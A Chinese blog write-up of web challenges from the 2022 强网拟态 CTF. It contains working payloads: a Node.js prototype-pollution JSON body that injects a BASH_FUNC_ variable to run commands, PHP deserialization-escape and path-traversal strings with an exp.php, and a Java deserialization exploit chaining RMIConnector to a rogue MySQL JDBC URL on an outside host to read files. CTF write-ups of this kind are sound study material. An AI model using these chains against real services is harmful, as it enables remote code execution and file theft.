强网拟态2022

强网拟态2022

最近都没咋认真投入的打ctf。由于要学车、带佬学弟有课,所以都没咋打。而且有的比赛4人一队的,直接把主力都拆散了,直接开摆。前几个比赛祥云杯之类的没写出啥题,而且也没见有啥环境或者附件能复现的,所以不打算记录了(还是太菜了)。这次比赛有个java题就先记录一波。

WHOYOUARE

下载源码发现明显的原型链污染。经过测试,发现可以用下面的payload进行污染:

{"user":"{\"username\":\"admin\",\"constructor\":{\"prototype\":{\"command\":\"asd\"}}}"}

但是还是不能rce。网上搜到一篇文章:https://cn-sec.com/archives/481970.html

根据子进程创建的逻辑,我们是否可以构造一个恶意的代码来污染原型链,因为代码里写了如果没定义process.env就去调用系统的环境变量,而根据javascript规则,我们随意设置一个对象的_proto_的env就可以覆盖掉process的env属性了,这样的话我们可以就定义好了,定义并且赋值就不会undefined了。简单的说就是object.env下的属性就会被写入到/proc/self/environ里。

经过测试,发现原型链污染的键值对会出现在环境变量里面。然后去GitHub阅读node源码,根据文章去审计。
在normalizeSpawnArguments函数里面:

for (const key of envKeys) {
        const value = env[key];
        if (value !== undefined) {
          validateArgumentNullCheck(key, `options.env['${key}']`);
          validateArgumentNullCheck(value, `options.env['${key}']`);
          ArrayPrototypePush(envPairs, `${key}=${value}`);
        }
      }

其中envKeys是process.env里面的key。本地调试

var b = JSON.parse("{\"constructor\":{\"prototype\":{\"a\":1}}}")
merge(a, b)
var env = null || process.env
for (const key in env){
    console.log(key)
}

发现出现了污染的key,所以可以判断原型链污染可以污染环境变量。
然后用p神的环境变量注入来rce:

{"user":"{\"username\":\"admin\",\"constructor\":{\"prototype\":{\"BASH_FUNC_id%%\":\"() { cat /flag; }\"}}}"}

ezus

都是老知识点。第一步直接搜就可以找到payload:https://ctftime.org/writeup/18598

172.52.24.129/index.php/tm.php/%ff?source

得到源码,发现有反序列化。然后根据代码发现可以用@0@0@0@进行反序列化字符串逃逸。然后构造order类即可。经过多次尝试,可以构造出合适的反序列化数据,先读取hint.php:

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@p&password=asaa%22%3Bs%3A11%3A%22%00%2A%00password%22%3BO:5:"order":3:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:39:"0://a.prankhub/../../f1111444449999.txt";};}

得到源码,得知flag在:/f1111444449999.txt。然后可以在网上搜到相关题目:https://blog.csdn.net/qq_46091464/article/details/108570212
然后直接目录穿越即可:

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@p&password=asaa%22%3Bs%3A11%3A%22%00%2A%00password%22%3BO%3A5%3A%22order":3:{s:1:"f";s:54:"php://filter/convert.base64-encode/resource=./trypass/";s:4:"hint";s:48:"0://a.prankhub/../../../../../f1111444449999.txt";};}

贴一个exp.php:

<?php
class UserAccount
{
    protected $username;
    protected $password;
    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
class order
{
    public $f;
    public $hint;
    public function __construct($hint, $f)
    {
        $this->f = $f;
        $this->hint = $hint;
    }
}
$username = "@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@p";
$password = 'asaa";s:11:"'.chr(0).'*'.chr(0).'password";'.serialize(new order("0://a.prankhub/../../f1111444449999.txt", 'php://filter/convert.base64-encode/resource=./trypass/')).';}';
$user = serialize(new UserAccount($username, $password));
echo "\n".urlencode($password);
?>

norce

看的时候已经结束拉!比赛结束看了一个多小时,找了一个打jndi的,但是spring居然把forcestring给禁用了(按照提示好像是特殊情况下能用)。所以打不了高本版的jndi了。然后就等wp了。看了一手guoke师傅的wp,直接直呼上当。没想到下面的一个if分支可以反序列化,没细看,太捞了。
经典反序列化,自定义两个类,都有Serializable接口,必用到。但是有黑名单。所以先找别的入口。全局搜索JMXConnector的实现类,找到一个似乎能用的:RMIConnector.class

public void connect() throws IOException {
        connect(null);
    }

    /**
     * @throws IOException if the connection could not be made because of a
     *   communication problem, or in the case of the {@code iiop} protocol,
     *   that RMI/IIOP is not supported
     */
    public synchronized void connect(Map<String,?> environment)
    throws IOException {
    ...
    RMIServer stub = (rmiServer!=null)?rmiServer:
                findRMIServer(jmxServiceURL, usemap);
    ...
    }
    ...
    private RMIServer findRMIServer(JMXServiceURL directoryURL,
            Map<String, Object> environment)
            throws NamingException, IOException {
            ...
            if (path.startsWith("/jndi/"))
            return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
        else if (path.startsWith("/stub/"))
            return findRMIServerJRMP(path.substring(6,end), environment, isIiop);//二次反序列化
        else if (path.startsWith("/ior/")) {
            if (!IIOPHelper.isAvailable())
                throw new IOException("iiop protocol not available");
            return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
            ...
            }
            ...
    //明显的二次反序列化
    private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
        throws IOException {
        // could forbid "iiop:" URL here -- but do we need to?
        final byte[] serialized;
        try {
            serialized = base64ToByteArray(base64);
        } catch (IllegalArgumentException e) {
            throw new MalformedURLException("Bad BASE64 encoding: " +
                    e.getMessage());
        }
        final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

        final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
        final ObjectInputStream oin =
                (loader == null) ?
                    new ObjectInputStream(bin) :
                    new ObjectInputStreamWithLoader(bin, loader);
        final Object stub;
        try {
            stub = oin.readObject();
        } catch (ClassNotFoundException e) {
            throw new MalformedURLException("Class not found: " + e);
        }
        return (RMIServer)stub;
    }

所以不难发现,绕过黑名单可以直接二次反序列化就行。
链子:

BadAttributeValueExpException.toString()
-->MyBean.getConnect()
    -->RMIConnector.connect()
        -->BadAttributeValueExpException.toString()
            -->MyBean.getConnect()
                -->Connect.connect()

贴个exp:

package com.example.demo;

import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException {
        Connect connect = new Connect("jdbc:mysql://47.96.173.116:6666/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true", "", "");
        MyBean myBean0 = new MyBean("aaa", "aaa", connect);
        BadAttributeValueExpException badAttributeValueExpException0 = new BadAttributeValueExpException(null);
        setField(badAttributeValueExpException0, "val", myBean0);
        ByteArrayOutputStream baos0 = new ByteArrayOutputStream();
        ObjectOutputStream oos0 = new ObjectOutputStream(baos0);
        oos0.writeObject(badAttributeValueExpException0);
        oos0.flush();
        oos0.close();
        String serializeBase = new String(Base64.getEncoder().encode(baos0.toByteArray()));
        RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://47.96.173.116:2333/stub/" + serializeBase), null);
        MyBean myBean = new MyBean("asd", "asd", rmiConnector);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setField(badAttributeValueExpException, "val", myBean);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
        //MyObjectInputStream mois = new MyObjectInputStream(bais);
        //mois.readObject();
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

还有一个py题

交给我同学了,两个保研带佬忙得一,直接开摆罗
带佬说是直接unicode绕过就行。。。那枚啥了,都是老经典ssti了

还有一个java

一开始就没懂,所以源码附件都没弄到手,也是实在没时间(其实是太菜了),所以想找源码啥的看看。有机会复现一手。

SQL注入怎么说

讲道理,SQL注入比赛时就没做出多少,黑盒还是不太会,一开始测半天也没见单引号闭合之类的报错或者啥提示的,就懒得看了。看了wp直呼上当,好几次SQL注入题看完wp都直呼上当,还是太菜了5555

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇